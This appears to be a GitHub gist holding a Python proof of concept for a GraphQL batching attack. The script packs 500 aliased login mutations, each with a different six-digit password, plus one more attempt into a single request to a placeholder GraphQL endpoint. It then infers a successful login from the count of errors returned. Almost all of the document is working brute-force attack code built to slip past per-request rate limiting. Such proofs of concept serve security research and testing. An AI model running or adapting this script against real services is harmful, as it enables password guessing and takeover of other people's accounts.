Skip to content

Instantly share code, notes, and snippets.

@infosec-au
Last active September 4, 2023 04:29
Show Gist options
  • Star 7 You must be signed in to star a gist
  • Fork 6 You must be signed in to fork a gist
  • Save infosec-au/505b6a19e57d5e1082450d96d03c6433 to your computer and use it in GitHub Desktop.
Save infosec-au/505b6a19e57d5e1082450d96d03c6433 to your computer and use it in GitHub Desktop.
PoC for GraphQL Batching Attack involving query name based batching
import requests
import json
from num2words import num2words
session = requests.Session()
variables = {}
query_string_part1 = "mutation emailLoginRemembered("
generated = "$loginInput: InputRememberedEmailLogin!, $loginInput1: InputRememberedEmailLogin!"
query_string_part2 = ") { "
query_string_part3 = "\n first: emailLoginRemembered(loginInput: $loginInput) {\n authToken {\n accessToken\n __typename\n } }\n"
generated_query_variables = []
generated_query_content = []
for i in range(0,500):
filled_num = str(i).zfill(6)
variables["loginInput{}".format(filled_num)] = {"email": "admin@shubs.io", "password": filled_num}
generated_query_variable_str = "$loginInput{}: InputRememberedEmailLogin!".format(filled_num)
generated_query_variables.append(generated_query_variable_str)
generated_query_content_str = "\n {0}: emailLoginRemembered(loginInput: $loginInput{1}) {{\n authToken {{\n accessToken\n __typename\n }} }}\n".format(num2words(i, to='ordinal').replace(" ", "").replace(",","").replace("-",""), filled_num)
generated_query_content.append(generated_query_content_str)
variables["loginInputCorrect"] = {"email": "admin@shubs.io", "password": "correct_password"}
correct_variable = "$loginInputCorrect: InputRememberedEmailLogin!"
generated_query_variables.append(correct_variable)
correct_password = "\n correct: emailLoginRemembered(loginInput: $loginInputCorrect) {\n authToken {\n accessToken\n __typename\n } }\n"
joined_query_variables = ", ".join(generated_query_variables)
joined_query_content = " ".join(generated_query_content)
full_query = query_string_part1 + joined_query_variables + query_string_part2 + joined_query_content + correct_password + "}"
json_obj = {
"operationName": "emailLoginRemembered",
"variables": variables,
"query": full_query
}
# Debugging purposes - spot check that our query is correct
# print(full_query)
# print(json.dumps(json_obj))
headers = {"Origin":"https://www.example.com","Sec-Ch-Ua":"\"Chromium\";v=\"92\", \" Not A;Brand\";v=\"99\", \"Google Chrome\";v=\"92\"","Accept":"*/*","User-Agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36","Referer":"https://www.example.com/","Sec-Fetch-Site":"same-origin","Sec-Fetch-Dest":"empty","Dnt":"1","Accept-Encoding":"gzip, deflate","Sec-Fetch-Mode":"cors","X-Locale":"en-DE","Accept-Language":"en-US,en;q=0.9","Sec-Ch-Ua-Mobile":"?0","Content-Type":"application/json"}
cookies = {}
response = session.post("https://www.example.com/graphql", json=json_obj, headers=headers, cookies=cookies, proxies={'https':'http://localhost:8080'}, verify=False)
errors = response.json()["errors"]
print("Password attempts sent: {}".format(len(variables)))
print("Errors received: {}".format(len(errors)))
if len(errors) < len(variables):
print("Password matched in this batch of password attempts.")
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment